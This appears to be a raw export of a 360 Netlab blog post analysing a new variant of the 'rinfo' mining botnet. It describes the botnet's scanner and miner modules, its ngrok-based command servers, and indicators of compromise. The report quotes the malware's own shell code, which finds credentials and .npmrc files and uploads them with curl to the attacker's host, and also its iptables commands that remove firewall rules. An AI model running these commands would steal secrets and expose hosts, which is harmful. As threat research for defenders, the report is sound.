http://bcaf48a9ab6b.ngrok.io/d8/daemon\n```\n###miner模块回传结果的url\n```\nhttp://522240bf9589.ngrok.io/contact?k=1\nhttp://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1\n```\n\n###矿池和钱包地址\n```\npool: xmr-eu2.nanopool.org:14444\nwallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n\npool:xmr-asia1.nanopool.org:14444\nwallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n\npool:xmr-us-east1.nanopool.org:14444\nwallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n``` "}],["markdown",{"markdown":"##参考\n__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/\nhttps://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[1,"p",[]]],"ghostVersion":"3.0"} | 6021f911d0d9b7000712b2d9 |
post | null | 2021-02-10T03:03:57.000Z | 63873b9a8b1c1e0007f52fa4 | rinfo-is-making-a-comeback-and-is-scanning-and-mining-in-full-speed | 0 | 2021-02-10T13:59:59.000Z | public | published | null | 2021-02-10T14:00:00.000Z | Rinfo Is Making A Comeback and Is Scanning and Mining in Full Speed | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>In 2018 we blogged about a scanning&mining botnet family that uses ngrok.io to propagate samples: "<a href="__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/">A New Mining Botnet Blends Its C2s into ngrok Service</a><br>
", and since mid-October 2020, our BotMon system started to see a new variant of this family that is active again and continues to this day. Compared to the last time, this time it is more aggressive, and as of February 6, 2021, our Anglerfish honeypot has captured 11,864 scanner samples, 1,754 miner samples, and 3,232 ngrok.io C2 domains. The sample captures can be found in the capture log below.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/rinfo_scanner.daily.cap_en2.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card kg-width-wide"><img src="__GHOST_URL__/content/images/2021/02/rinfo_miner.daily.cap.en-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>This new variant is still spreading, and here are some key features：</p>
<ol>
<li>The overall structure of the family has not changed, still consists of scanning and mining modules, the purpose of scanning is to form a mining botnet.</li>
<li>The new ones and the old ones are pretty much same origin, the function has changed slightly.</li>
<li>The new version still relies on ngrok.io to distribute samples and report results.</li>
<li>The ports and services that the bot is going after have changed, with Apache CouchDB and MODX removed while 3 new ones of Mongo, Confluence and vBulletin added.</li>
<li>Same as the old ones, the scanner module is only responsible for detecting open ports and services, with no exploit functions integrated.</li>
</ol>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="samplecomparisonanalysis">Sample Comparison Analysis</h2>
<p>The family consists of two core modules: the scanner, and the miner, both written in bash script. We named this family rinfo because the scanner module uses a file starting with "/tmp/rinfo" to save the results in both versions. We found no code related to downloading and executing the miner module in the scanner module, and vice versa, there is no code involving the scanner module in the miner module, and the only clue to relate them is the same loader IP and the same attacked port. Combining the samples, we speculate that scanner is the starting module, and after a target is located, the attacker can choose to either implant the scanner module or drop the miner module. Theoretically, the attacker may also implant other functional modules, we will keep an eye on this and disclose any further findings in time.</p>
<h3 id="scannermodule">scanner module</h3>
<p>The scanner module analysis is based on the sample md5=01199e3d63c5211b902d18a7817a6997. Like the old version, the job is performed by zmap, jq and zgrab. The scanner module will download and execute these binaries, and then report the results. The entire scanner module is shown in the following figure.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/scanner_en.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Compared with the old version (md5=072922760ec200ccce83ac5ce20c46ca), the biggest change in the new version is the target scan ports and services. The old version went after these ports and services:</p>
<pre><code>TCP 6379，Redis
TCP 2375，Docker client version 1.16
TCP 80/8080，Jenkins/Drupal/MODX
TCP 5984，Apache CouchDB
</code></pre>
<p>The new version no longer scans port 5984, but adds TCP ports of 6380 and 443. In terms of scanned services, Apache CouchDB and MODX have been replaced by Mongo, Confluence and vBulletin, as can be seen from below:</p>
<pre><code>TCP 6380, Redis
TCP 2375, Docker client version 1.16
TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin
</code></pre>
<p>Another change is the pattern of the url for reporting scan results. The old version url is like this:</p>
<pre><code>hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}
</code></pre>
<p>The new version has changed to 2 urls, with the value of the i parameter of the url becoming shorter:</p>
<pre><code>hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
</code></pre>
<p>It should be noted that the subdomain of ngrok.io in all the above URLs is not fixed, and its value is not the same in different scanner samples, which explains why the number of scanner samples is more than 10 thousands. As we mentioned in previous <a href="__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/">blog</a> the goal of all these probably is to increase the difficulty of defense.</p>
<p>The third change is the setting of the target netblocks. In the old version it was specified in the form of bash shell array, while in the new version it has changed to a single value.</p>
<pre><code># old
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"
# new
IPR="94.130.96.0/19"
</code></pre>
<p>While the IPR value varifies across scanner samples, the mask is always 19 bits. As a summary, there have been 700+ networks checked from scanner samples.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="minermodule">miner module</h2>
<p>The analysis of the miner module is based on the sample MD5=1d74fd8d25fa3750405d8ba8d224d084. Similar to the scanner module, the miner module is just a bash script, and the specific mining behavior is achieved by downloading and executing the binary miner programs.</p>
<p>Compared with the old version, the new version of miner module has not changed much, and the usage pattern for ngrok.io is the same, the are a few minor differences though:</p>
<ol>
<li>The new version no longer downloads and runs the fc program, and the miner program integrates new wallet addresses.</li>
<li>The new version removes the ability to infect local .js files.</li>
<li>iptables is configured to remove various network restrictions.</li>
<li>The function of stealing credentials is added.</li>
</ol>
<p>The newly added iptables commands are as follows:</p>
<pre><code>iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1
</code></pre>
<p>The infected .js code at the end of the old version is replaced by the following code to steal credentials:</p>
<pre><code>find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG
</code></pre>
<p>This code looks for and uploads the credentials and .npmrc files in /home and its subdirectories.</p>
<p>As in the old version, the download server is accessed throughout the miner module via a $HOST variable, which points to a temporary ngrok.io domain. This is where the miner module differs from the scanner module, which assigns a different ngrok subdomain to each url.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="conclusion">Conclusion</h2>
<p>The new version of rinfo has no major changes compared to the previous one, both in terms of module structure and approach, so we guess that the same people are behind it. From the samples we captured, the purpose of the new version of rinfo is still to form a mining botnet, which may be related to the recent bitcoin price increase.</p>
<p>Because this botnet family relies heavily on ngrok.io for propagation, its frequently changing ngrok temporary domain name makes defense difficult, we recommend detecting and blocking this botnet based on its url patterns.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ioc">IoC</h2>
<h3 id="attackerloaderips">attacker&loader IPs</h3>
<pre><code>185.242.6.3
185.159.157.20
</code></pre>
<h3 id="scannermodules">scanner modules</h3>
<pre><code>01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
</code></pre>
<h3 id="binariesusedinscanner">binaries used in scanner</h3>
<pre><code>1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq
...
</code></pre>
<h4 id="reporturlsfoundinscannermodules">report urls found in scanner modules</h4>
<pre><code>http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
</code></pre>
<h3 id="minermodules">miner modules</h3>
<pre><code>1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
...
</code></pre>
<h3 id="binariesusedinminer">binaries used in miner</h3>
<pre><code>323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon
</code></pre>
<h3 id="reporturlsfoundinminermodules">report urls found in miner modules</h3>
<pre><code>http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1
</code></pre>
<h3 id="minerpoolswallets">miner pools&wallets</h3>
<pre><code>pool: xmr-eu2.nanopool.org:14444
wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-asia1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-us-east1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="references">References</h2>
<p><a href="__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/">https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/</a><br>
<a href="https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/">https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</a></p>
<!--kg-card-end: markdown--> | Overview
In 2018 we blogged about a scanning&mining botnet family that uses ngrok.io to propagate samples: "A New Mining Botnet Blends Its C2s into ngrok Service
", and since mid-October 2020, our BotMon system started to see a new variant of this family that is active again and continues to this day. Compared to the last time, this time it is more aggressive, and as of February 6, 2021, our Anglerfish honeypot has captured 11,864 scanner samples, 1,754 miner samples, and 3,232 ngrok.io C2 domains. The sample captures can be found in the capture log below.
This new variant is still spreading, and here are some key features：
1. The overall structure of the family has not changed, still consists of scanning and mining modules, the purpose of scanning is to form a mining botnet.
2. The new ones and the old ones are pretty much same origin, the function has changed slightly.
3. The new version still relies on ngrok.io to distribute samples and report results.
4. The ports and services that the bot is going after have changed, with Apache CouchDB and MODX removed while 3 new ones of Mongo, Confluence and vBulletin added.
5. Same as the old ones, the scanner module is only responsible for detecting open ports and services, with no exploit functions integrated.
Sample Comparison Analysis
The family consists of two core modules: the scanner, and the miner, both written in bash script. We named this family rinfo because the scanner module uses a file starting with "/tmp/rinfo" to save the results in both versions. We found no code related to downloading and executing the miner module in the scanner module, and vice versa, there is no code involving the scanner module in the miner module, and the only clue to relate them is the same loader IP and the same attacked port. Combining the samples, we speculate that scanner is the starting module, and after a target is located, the attacker can choose to either implant the scanner module or drop the miner module. Theoretically, the attacker may also implant other functional modules, we will keep an eye on this and disclose any further findings in time.
scanner module
The scanner module analysis is based on the sample md5=01199e3d63c5211b902d18a7817a6997. Like the old version, the job is performed by zmap, jq and zgrab. The scanner module will download and execute these binaries, and then report the results. The entire scanner module is shown in the following figure.
Compared with the old version (md5=072922760ec200ccce83ac5ce20c46ca), the biggest change in the new version is the target scan ports and services. The old version went after these ports and services:
TCP 6379，Redis
TCP 2375，Docker client version 1.16
TCP 80/8080，Jenkins/Drupal/MODX
TCP 5984，Apache CouchDB
The new version no longer scans port 5984, but adds TCP ports of 6380 and 443. In terms of scanned services, Apache CouchDB and MODX have been replaced by Mongo, Confluence and vBulletin, as can be seen from below:
TCP 6380, Redis
TCP 2375, Docker client version 1.16
TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin
Another change is the pattern of the url for reporting scan results. The old version url is like this:
hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}
The new version has changed to 2 urls, with the value of the i parameter of the url becoming shorter:
hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
It should be noted that the subdomain of ngrok.io in all the above URLs is not fixed, and its value is not the same in different scanner samples, which explains why the number of scanner samples is more than 10 thousands. As we mentioned in previous blog the goal of all these probably is to increase the difficulty of defense.
The third change is the setting of the target netblocks. In the old version it was specified in the form of bash shell array, while in the new version it has changed to a single value.
# old
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"
# new
IPR="94.130.96.0/19"
While the IPR value varifies across scanner samples, the mask is always 19 bits. As a summary, there have been 700+ networks checked from scanner samples.
miner module
The analysis of the miner module is based on the sample MD5=1d74fd8d25fa3750405d8ba8d224d084. Similar to the scanner module, the miner module is just a bash script, and the specific mining behavior is achieved by downloading and executing the binary miner programs.
Compared with the old version, the new version of miner module has not changed much, and the usage pattern for ngrok.io is the same, the are a few minor differences though:
1. The new version no longer downloads and runs the fc program, and the miner program integrates new wallet addresses.
2. The new version removes the ability to infect local .js files.
3. iptables is configured to remove various network restrictions.
4. The function of stealing credentials is added.
The newly added iptables commands are as follows:
iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1
The infected .js code at the end of the old version is replaced by the following code to steal credentials:
find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG
This code looks for and uploads the credentials and .npmrc files in /home and its subdirectories.
As in the old version, the download server is accessed throughout the miner module via a $HOST variable, which points to a temporary ngrok.io domain. This is where the miner module differs from the scanner module, which assigns a different ngrok subdomain to each url.
Conclusion
The new version of rinfo has no major changes compared to the previous one, both in terms of module structure and approach, so we guess that the same people are behind it. From the samples we captured, the purpose of the new version of rinfo is still to form a mining botnet, which may be related to the recent bitcoin price increase.
Because this botnet family relies heavily on ngrok.io for propagation, its frequently changing ngrok temporary domain name makes defense difficult, we recommend detecting and blocking this botnet based on its url patterns.
Contact us
Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.
IoC
attacker&loader IPs
185.242.6.3
185.159.157.20
scanner modules
01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
binaries used in scanner
1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq
...
report urls found in scanner modules
http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
miner modules
1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
...
binaries used in miner
323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon
report urls found in miner modules
http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1
miner pools&wallets
pool: xmr-eu2.nanopool.org:14444
wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-asia1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-us-east1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
References
https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Overview\nIn 2018 we blogged about a scanning&mining botnet family that uses ngrok.io to propagate samples: \"[A New Mining Botnet Blends Its C2s into ngrok Service](__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/)\n\", and since mid-October 2020, our BotMon system started to see a new variant of this family that is active again and continues to this day. Compared to the last time, this time it is more aggressive, and as of February 6, 2021, our Anglerfish honeypot has captured 11,864 scanner samples, 1,754 miner samples, and 3,232 ngrok.io C2 domains. The sample captures can be found in the capture log below.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/rinfo_scanner.daily.cap_en2.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/rinfo_miner.daily.cap.en-1.png","cardWidth":"wide"}],["markdown",{"markdown":"This new variant is still spreading, and here are some key features：\n1. The overall structure of the family has not changed, still consists of scanning and mining modules, the purpose of scanning is to form a mining botnet.\n2. The new ones and the old ones are pretty much same origin, the function has changed slightly.\n3. The new version still relies on ngrok.io to distribute samples and report results.\n4. The ports and services that the bot is going after have changed, with Apache CouchDB and MODX removed while 3 new ones of Mongo, Confluence and vBulletin added.\n5. Same as the old ones, the scanner module is only responsible for detecting open ports and services, with no exploit functions integrated."}],["markdown",{"markdown":"##Sample Comparison Analysis\nThe family consists of two core modules: the scanner, and the miner, both written in bash script. We named this family rinfo because the scanner module uses a file starting with \"/tmp/rinfo\" to save the results in both versions. We found no code related to downloading and executing the miner module in the scanner module, and vice versa, there is no code involving the scanner module in the miner module, and the only clue to relate them is the same loader IP and the same attacked port. Combining the samples, we speculate that scanner is the starting module, and after a target is located, the attacker can choose to either implant the scanner module or drop the miner module. Theoretically, the attacker may also implant other functional modules, we will keep an eye on this and disclose any further findings in time.\n\n###scanner module\nThe scanner module analysis is based on the sample md5=01199e3d63c5211b902d18a7817a6997. Like the old version, the job is performed by zmap, jq and zgrab. The scanner module will download and execute these binaries, and then report the results. The entire scanner module is shown in the following figure."}],["image",{"src":"__GHOST_URL__/content/images/2021/02/scanner_en.png"}],["markdown",{"markdown":"Compared with the old version (md5=072922760ec200ccce83ac5ce20c46ca), the biggest change in the new version is the target scan ports and services. The old version went after these ports and services:\n```\nTCP 6379，Redis\nTCP 2375，Docker client version 1.16\nTCP 80/8080，Jenkins/Drupal/MODX\nTCP 5984，Apache CouchDB\n```\nThe new version no longer scans port 5984, but adds TCP ports of 6380 and 443. In terms of scanned services, Apache CouchDB and MODX have been replaced by Mongo, Confluence and vBulletin, as can be seen from below:\n```\nTCP 6380, Redis\nTCP 2375, Docker client version 1.16\nTCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin\n```\nAnother change is the pattern of the url for reporting scan results. The old version url is like this:\n```\nhxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}\n```\nThe new version has changed to 2 urls, with the value of the i parameter of the url becoming shorter:\n```\nhxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode} \nhxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}\n```\nIt should be noted that the subdomain of ngrok.io in all the above URLs is not fixed, and its value is not the same in different scanner samples, which explains why the number of scanner samples is more than 10 thousands. As we mentioned in previous [blog](__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/) the goal of all these probably is to increase the difficulty of defense.\n\nThe third change is the setting of the target netblocks. In the old version it was specified in the form of bash shell array, while in the new version it has changed to a single value.\n```\n# old\nIPR=\"13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19\"\n\n# new\nIPR=\"94.130.96.0/19\"\n```\n\nWhile the IPR value varifies across scanner samples, the mask is always 19 bits. As a summary, there have been 700+ networks checked from scanner samples."}],["markdown",{"markdown":"##miner module\nThe analysis of the miner module is based on the sample MD5=1d74fd8d25fa3750405d8ba8d224d084. Similar to the scanner module, the miner module is just a bash script, and the specific mining behavior is achieved by downloading and executing the binary miner programs.\n\nCompared with the old version, the new version of miner module has not changed much, and the usage pattern for ngrok.io is the same, the are a few minor differences though:\n1. The new version no longer downloads and runs the fc program, and the miner program integrates new wallet addresses.\n2. The new version removes the ability to infect local .js files.\n3. iptables is configured to remove various network restrictions.\n4. The function of stealing credentials is added.\n\nThe newly added iptables commands are as follows:\n```\niptables -P INPUT ACCEPT >/dev/null 2>&1\niptables -P FORWARD ACCEPT >/dev/null 2>&1\niptables -P OUTPUT ACCEPT >/dev/null 2>&1\niptables -t nat -F >/dev/null 2>&1\niptables -t mangle -F >/dev/null 2>&1\niptables -F >/dev/null 2>&1\niptables -X >/dev/null 2>&1\n```\nThe infected .js code at the end of the old version is replaced by the following code to steal credentials:\n```\nfind /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null\nfind /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null\nif [ -s $CFG ]; then\n curl -s -F file=@$CFG \"$HOST/c?r=${RIP}\" >/dev/null 2>&1\nrm -rf $CFG\n```\nThis code looks for and uploads the credentials and .npmrc files in /home and its subdirectories.\n\nAs in the old version, the download server is accessed throughout the miner module via a $HOST variable, which points to a temporary ngrok.io domain. This is where the miner module differs from the scanner module, which assigns a different ngrok subdomain to each url."}],["markdown",{"markdown":"##Conclusion\nThe new version of rinfo has no major changes compared to the previous one, both in terms of module structure and approach, so we guess that the same people are behind it. From the samples we captured, the purpose of the new version of rinfo is still to form a mining botnet, which may be related to the recent bitcoin price increase.\n\nBecause this botnet family relies heavily on ngrok.io for propagation, its frequently changing ngrok temporary domain name makes defense difficult, we recommend detecting and blocking this botnet based on its url patterns.\n\n##Contact us\nReaders are always welcomed to reach us on twitter or email to netlab at 360 dot cn.\n"}],["markdown",{"markdown":"##IoC\n\n###attacker&loader IPs\n```\n185.242.6.3\n185.159.157.20\n```\n\n###scanner modules\n```\n01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\n...\n```\n###binaries used in scanner\n```\n1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap\n8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab\nc3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq\n...\n```\n####report urls found in scanner modules\n```\nhttp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\nhttp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\n...\n```\n\n###miner modules\n```\n1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt\n...\n```\n###binaries used in miner\n```\n323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx\n2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon\n```\n###report urls found in miner modules\n```\nhttp://522240bf9589.ngrok.io/contact?k=1\nhttp://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1\n```\n\n###miner pools&wallets\n```\npool: xmr-eu2.nanopool.org:14444\nwallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n\npool:xmr-asia1.nanopool.org:14444\nwallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n\npool:xmr-us-east1.nanopool.org:14444\nwallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1\n``` "}],["markdown",{"markdown":"##References\n__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/\nhttps://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[1,"p",[]]],"ghostVersion":"3.0"} | 60234d1dd0d9b7000712b4c8 |
post | null | 2021-02-20T03:15:00.000Z | 63873b9a8b1c1e0007f52fa5 | tor-bld | 0 | 2021-03-05T00:01:00.000Z | public | published | null | 2021-03-05T00:01:00.000Z | Gafgtyt_tor，Necro作者再次升级“武器库” | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
